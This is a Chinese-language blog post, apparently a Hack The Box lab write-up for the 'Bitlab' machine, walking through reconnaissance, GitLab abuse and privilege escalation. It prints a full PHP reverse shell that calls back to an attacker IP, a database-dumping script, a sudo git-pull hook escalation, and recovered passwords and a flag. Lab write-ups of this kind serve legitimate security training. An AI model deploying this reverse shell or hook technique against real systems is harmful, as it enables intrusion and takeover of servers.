freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试 | HTB-Bitlab实战
2020-03-27 10:57:50
所属地 河北省

v2-29a2c0fc3c187e2191f0747884d3cc1f_1440

——————   昨日回顾  ——————  

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!(来源:红日安全)

ATT&CK实战| VulnStack红队(五)

0 (1).jpeg

—————— —————— —————

640?wx_fmt=png640?wx_fmt=png

Web安全新项目启程  

大家好,Web安全小组开了一个新项目,为了更好的理解漏洞和提高自学能力,本次主要自己搭建靶场,编写系列攻防文档,文档内容必须包括 信息收集部分+漏洞挖掘部分(包括Web漏洞不少于两种或者是主机漏洞或者是其它中间件漏洞+代码审计部分(必须审计一种相关漏洞)+主机信息收集+提权  必须涵盖以上内容一个WP  ,最后的提交内容(靶场+WP+自己设计题目的思路图)。另外Web 小组开始招新了,喜欢挑战自己,并且自学能力强的,欢迎加入红日!!!〜〜〜〜〜   

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9waHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9wHack The Box::Bitlab   

Author: ama666

信息收集

使用nmap执行命令

nmap 10.10.10.114 -p- 

扫描目标10.10.10.114,发现目标只开放了两个端口,2280

20191017221813.png

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9waHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9waHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9w  Get User 

这一次靶机开放的端口比较少,试了一下ssh端口的弱口令登陆和无令牌登陆,没有什么效果,只能访问80端口。80端口是一个登陆页面,看一看是gitlab平台的登陆页面,尝试了一下注入没有效果,同样的忘记密码处也没有什么收获。

20191018011809.png

在页面中下方有一些链接,随便点进去看看,有些直接链接到了官方网页只能放弃,其中的Help连接到了help目录底下将目录中的文件列了出来。

20191018012216.png

里面只有一个叫做bookmarks.html的文件,继续点进去看一看

20191018012312.png

里面有一些链接,以此点进去查看,几乎都是直接连接到官方网页,除了最后一个可疑地链接点不动没有反应,按F12查看一下这个链接的代码,是一串16进制。这里可以直接用python打印,获得了一组用户名和密码

20191018012938.png

使用这组用户名和密码在80端口的登陆页面进行登陆尝试,成功登陆。

20191018013159.png

进入gitlab后到处看一看,发现其中已经有两个项目了。查看这两个项目的commit history想寻找一些敏感代码或者硬编码没有找到。然后发现了第二个项目Deployer的代码有点意思

20191018013440.png这个代码的意思应该是一个php伪协议输入,从Profile仓库的master分支发送的合并(merge)并且成功的请求就会被服务器使用git pull命令同步到../profile/目录下。看了一下clave用户的权限,是可以在master分支创建新文件并且提交merge请求的,看来可以通过这里上传文件到服务器。

在Profile仓库仓库中创建一个新文件,找一个php-shell上传并提交合并请求,php-shell如下

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.211';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe""r"),  // stdin is a pipe that the child will read from
   1 => array("pipe""w"),  // stdout is a pipe that the child will write to
   2 => array("pipe""w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>
 

提交merge请求之后根据上传的php-shell代码中设置的ip和端口在本地执行监听命令,然后访问文件所在的位置,经过尝试发现文件所在目录为10.10.10.114/profile/,访问文件触发执行,成功反弹了一个web-shell到本地

20191018014618.png

查看了一下权限发现低的可怕,只是一个webshell。使用命令查找了一下高权限的文件,发现什么也没有。

可以看到在/home/calve目录下存在目标文件user.txt但是可惜没有权限。翻了翻apache的配置文件,使用命令grep -iR pass ./找了找目录下包含pass的字符串什么也没有找到,使用命令netstat -ntlp查看所有端口的开放情况,发现了有一个5432端口是正在运行中的

5432端口一般是数据库postgre的默认端口,原来这台机器上还跑着postgre数据库。查询了一下数据库的配置文件也没有找到什么有用的信息。将用户在gitlab平台登陆的凭证在ssh登陆做尝试,发现密码错误。尝试进行弱口令爆破也无效。在这里停滞了很久,又返回头继续回到gitlab中翻找信息,这次发现了在snippets标签中藏着有关postgre数据库的脚本20191018015409.png其中竟然包含了数据库的登陆凭证,赶紧使用它尝试登陆数据库,发现无论是从本地还是从靶机上都无法登陆。想到既然代码中使用脚本进行数据库的连接查询操作,并且可以上传文件到服务器上,我也可以将这个查询脚本写完,将查询结果显示在web端。完整的查询脚本如下

<?php

$dbconn = pg_connect("host=localhost dbname=profiles user=profiles password=profiles")
    or die('Could not connect: ' . pg_last_error());

$query = 'SELECT * FROM profiles';
$result = pg_query($query) or die('Query failed: ' . pg_last_error());

echo "<table>\n";
while ($line = pg_fetch_array($result, null, PGSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

pg_free_result($result);

pg_close($dbconn);
?>

果然查询到了结果,只有一条,便是用户的登录密码。

使用这组凭证在22端口进行ssh登陆,进入用户目录成功获取uesr.txt,get user成功。这里有个小坑,虽然密码后面有两个等号,但是如果你base64解密你就输了,密码就是这个不用解密直接输入。

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9waHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9w  Get root

这里有两个方法,一个是登陆user之后通过逆向分析得到登陆root的密码,另一个比较特殊,在没有提权的情况下直接从webshell获取root信息,甚至都不需要get user。

方法1

首先登陆clave用户,查看用户文件夹下面的文件。里面有几个有价值的文件,bash_history的记录已经被清空了,剩下了一个RemoteConnection.exe

在本地执行下面代码将文件下载到本地进行逆向分析

scp clave@10.10.10.114:/home/clave/RemoteConnection.exe ./

使用IDA调试在此处下断点

然后在ESI注册表里可以看到root的密码

root : Qf7]8YSV.wDNF*[7d?j&eD4^

方法2

这个方法不知道是作者故意留下的还是没有考虑到,总之很简单,但是对git不够了解的话也想不到。首先登陆webshell,执行sudo -l查看当前用户都够以管理员权限执行的命令,发现可以执行git pull。

20191022154817.png

查询git pull命令实际上是先执行git fetch之后执行git merge。20191022153920.pnggit中有个功能叫hooks,是指在执行特定的git命令的时候会自动执行的脚本。hook脚本在.ssh/hooks目录下存储,需要使用的话讲命名后缀.sample删除即可。捋一下思路,如果使用管理员权限执行git pull,那么也就回同时用管理员权限执行相对应的hooks,而hooks是可控的,我们可以编写脚本执行一切管理员操作,当然也可以将目标文件root.txt打印出来。编写一个hooks脚本

#!/bin/sh

echo /root/root.txt > /tmp/root.txt

不同的hooks有不同的命名,会跟随不同的git命令自动执行,post-merge 是一个会跟随merge命令自动执行的hook,前面也提到了,git pull就是fetch和merge操作的结合,所以post-merge也会在git pull之后自动执行,将此脚本命名为post-merge,执行sudo git pull

20191022154224.png

成功执行,并在相应目录下获取到了目标文件即flag。

flag: 8d4cc131757957cb68d9a0cddccd587c

banner.jpg

海量安全课程   点击以下链接   即可观看 

http://qiyuanxuetang.net/courses/
# 渗透测试 # web安全 # 信息收集 # 提权漏洞 # HTB-Bitlab
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者